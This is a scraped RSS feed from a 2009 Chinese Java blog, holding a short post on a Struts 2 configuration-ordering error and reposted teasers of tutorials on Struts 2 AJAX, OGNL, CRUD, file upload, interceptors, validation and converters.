]]>struts2-error:The content of element type "package" must match "(result-types?,interceptors?,default-interceptor)http://www.blogjava.net/ywj-316/archive/2009/11/04/301013.htmljunlyjunlyWed, 04 Nov 2009 01:31:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/11/04/301013.htmlhttp://www.blogjava.net/ywj-316/comments/301013.htmlhttp://www.blogjava.net/ywj-316/archive/2009/11/04/301013.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/301013.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/301013.html 大清早struts2的配置文件报错The content of element type "package" must match "(result-types?,interceptors?,default-interceptor-ref?,default-action


意思是我在配置文件中：
result-types
interceptors
default-interceptor-ref
default-action-ref
default-class-ref
global-results
global-exception-mappings
action*(就是所有的action放到最后)
的顺序有问题，仔细检查了一遍也没发现有什么错误，想想是不是action里面的顺序有问题，（action里面的顺序是可以任意放的）最终刷新了一下页
面好了，是IDE在作怪吧，记录一下，以防下次再遇到。

junly 2009-11-04 09:31 发表评论
]]>[导入]Struts 2与AJAX（第三部分）http://www.blogjava.net/ywj-316/archive/2009/10/29/300230.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/10/29/300230.htmlhttp://www.blogjava.net/ywj-316/comments/300230.htmlhttp://www.blogjava.net/ywj-316/archive/2009/10/29/300230.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/300230.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/300230.html阅读全文

Max 2007-08-16 18:33 发表评论

文章来源:http://www.blogjava.net/max/archive/2007/08/16/137363.html

junly 2009-10-29 19:00 发表评论
]]>[导入]Struts 2与AJAX（第二部分）http://www.blogjava.net/ywj-316/archive/2009/10/29/300231.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/10/29/300231.htmlhttp://www.blogjava.net/ywj-316/comments/300231.htmlhttp://www.blogjava.net/ywj-316/archive/2009/10/29/300231.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/300231.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/300231.html在上一篇文章《Struts 2与AJAX（第一部分）》，我已经简单地介绍了<s:tree />的一些用法，接下来我将继续深入讲解<s:tree />的使用和通过DWR实现AJAX校验。  阅读全文

Max 2007-06-27 18:33 发表评论

文章来源:http://www.blogjava.net/max/archive/2007/06/27/126648.html

junly 2009-10-29 19:00 发表评论
]]>[导入]Struts 2与AJAX（第一部分）http://www.blogjava.net/ywj-316/archive/2009/10/29/300232.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/10/29/300232.htmlhttp://www.blogjava.net/ywj-316/comments/300232.htmlhttp://www.blogjava.net/ywj-316/archive/2009/10/29/300232.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/300232.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/300232.html在当今——Web 2.0概念铺天盖地的Internet环境下，简易的AJAX集成对于一个成功的WEB框架来说是不可或缺的。因此，Struts 2其中的一个重要的功能（Feature）就是“First-class AJAX support - Add interactivity and flexibility with AJAX tags that look and feel just like standard Struts tags（大意：一流的AJAX支持——通过AJAX标志增加互动性和灵活性，而且使用这些AJAX标志与普通的Struts标志同样简单）”。  阅读全文

Max 2007-06-12 18:31 发表评论

文章来源:http://www.blogjava.net/max/archive/2007/06/12/123682.html

junly 2009-10-29 19:00 发表评论
]]>[导入]Strus 2的新表单标志的使用http://www.blogjava.net/ywj-316/archive/2009/10/29/300233.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/10/29/300233.htmlhttp://www.blogjava.net/ywj-316/comments/300233.htmlhttp://www.blogjava.net/ywj-316/archive/2009/10/29/300233.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/300233.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/300233.htmlStruts 2为大家提供了不少常用的很酷的表单标志，简化了我们程序员的工作。不过，由于这些都是新标志，大家可能在使用上还存在不少疑问。本文将就朋友们的回复、留言或Email上的问题，分别对这些酷标志进行讲述。  阅读全文

Max 2007-05-18 19:34 发表评论

文章来源:http://www.blogjava.net/max/archive/2007/05/18/118442.html

junly 2009-10-29 19:00 发表评论
]]>[导入]Struts 2中的OGNLhttp://www.blogjava.net/ywj-316/archive/2009/10/29/300234.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/10/29/300234.htmlhttp://www.blogjava.net/ywj-316/comments/300234.htmlhttp://www.blogjava.net/ywj-316/archive/2009/10/29/300234.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/300234.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/300234.htmlOGNL是一种功能很大的表达式语言，熟悉它可以使我们的开发变得更快捷。  阅读全文

Max 2007-04-28 19:43 发表评论

文章来源:http://www.blogjava.net/max/archive/2007/04/28/114417.html

junly 2009-10-29 19:00 发表评论
]]>[导入]在Struts 2中实现CRUDhttp://www.blogjava.net/ywj-316/archive/2009/10/29/300235.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/10/29/300235.htmlhttp://www.blogjava.net/ywj-316/comments/300235.htmlhttp://www.blogjava.net/ywj-316/archive/2009/10/29/300235.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/300235.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/300235.htmlCRUD是Create（创建）、Read（读取）、Update（更新）和Delete（删除）的缩写，它是普通应用程序的缩影。如果您掌握了某框架的CRUD编写，那么意味可以使用该框架创建普通应用程序了，所以大家使用新框架开发OLTP（Online Transaction Processing）应用程序时，首先会研究一下如何编写CRUD。这类似于大家在学习新编程语言时喜欢编写“Hello World”。阅读全文

Max 2007-04-13 01:37 发表评论

文章来源:http://www.blogjava.net/max/archive/2007/04/13/110310.html

junly 2009-10-29 19:00 发表评论
]]>[导入]在Struts 2中实现文件上传http://www.blogjava.net/ywj-316/archive/2009/10/29/300236.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/10/29/300236.htmlhttp://www.blogjava.net/ywj-316/comments/300236.htmlhttp://www.blogjava.net/ywj-316/archive/2009/10/29/300236.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/300236.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/300236.htmlStruts 2是通过Commons FileUpload文件上传。Commons FileUpload通过将HTTP的数据保存到临时文件夹，然后Struts使用fileUpload拦截器将文件绑定到Action的实例中。从而我们就能够以本地文件方式的操作浏览器上传的文件。  阅读全文

Max 2007-03-21 00:48 发表评论

文章来源:http://www.blogjava.net/max/archive/2007/03/21/105124.html

junly 2009-10-29 19:00 发表评论
]]>[导入]Struts 2的基石——拦截器（Interceptor）http://www.blogjava.net/ywj-316/archive/2009/10/29/300238.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/10/29/300238.htmlhttp://www.blogjava.net/ywj-316/comments/300238.htmlhttp://www.blogjava.net/ywj-316/archive/2009/10/29/300238.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/300238.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/300238.htmlInterceptor（以下译为拦截器）是Struts 2的一个强有力的工具，有许多功能（feature）都是构建于它之上，如国际化、转换器，校验等。  阅读全文

Max 2006-12-06 20:10 发表评论

文章来源:http://www.blogjava.net/max/archive/2006/12/06/85925.html

junly 2009-10-29 19:00 发表评论
]]>[导入]在Struts 2.0中实现表单数据校验（Validation）http://www.blogjava.net/ywj-316/archive/2009/10/29/300239.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/10/29/300239.htmlhttp://www.blogjava.net/ywj-316/comments/300239.htmlhttp://www.blogjava.net/ywj-316/archive/2009/10/29/300239.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/300239.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/300239.html阅读全文

Max 2006-11-14 13:38 发表评论

文章来源:http://www.blogjava.net/max/archive/2006/11/14/81106.html

junly 2009-10-29 19:00 发表评论
]]>[导入]转换器（Converter）——Struts 2.0中的魔术师http://www.blogjava.net/ywj-316/archive/2009/10/29/300240.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/10/29/300240.htmlhttp://www.blogjava.net/ywj-316/comments/300240.htmlhttp://www.blogjava.net/ywj-316/archive/2009/10/29/300240.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/300240.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/300240.html阅读全文

Max 2006-11-07 14:26 发表评论

文章来源:http://www.blogjava.net/max/archive/2006/11/07/79602.html

junly 2009-10-29 19:00 发表评论
]]>